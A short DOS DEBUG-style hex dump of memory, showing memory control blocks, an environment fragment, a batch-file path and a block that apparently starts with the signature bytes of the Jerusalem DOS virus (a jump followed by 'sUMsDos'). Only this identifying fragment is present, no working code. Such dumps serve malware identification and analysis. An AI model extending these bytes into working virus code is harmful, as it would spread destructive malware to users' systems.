45E3:0620 4D FE 0D 04 00 45 43 3D-43 3A 5C 43 4F 4D 4D 41 M~...EC=C:\COMMA
|
||
45E3:0630 00 47 02 00 00 32 00 FF-FF FF FF FF FF FF FF FF .G...2..........
|
||
45E3:0640 FF FF FF FF FF FF FF FF-FF 43 3A 5C 5A 53 53 52 .........C:\ZSSR
|
||
45E3:0650 5C 4B 41 4C 49 42 52 5C-4B 41 49 4B 49 2E 42 41 \KALIBR\KAIKI.BA
|
||
45E3:0660 54 00 6B 61 69 6B 69 0D-00 FF FF FF 00 00 00 00 T.kaiki.........
|
||
45E3:0670 4D FE 0D 00 10 M~...
|
||
45E3:0670 00 00 00-00 00 00 00 00 00 00 00 ...........
|
||
45E3:0680 E9 92 00 73 55 4D 73 44-6F 73 00 01 77 i..sUMsDos |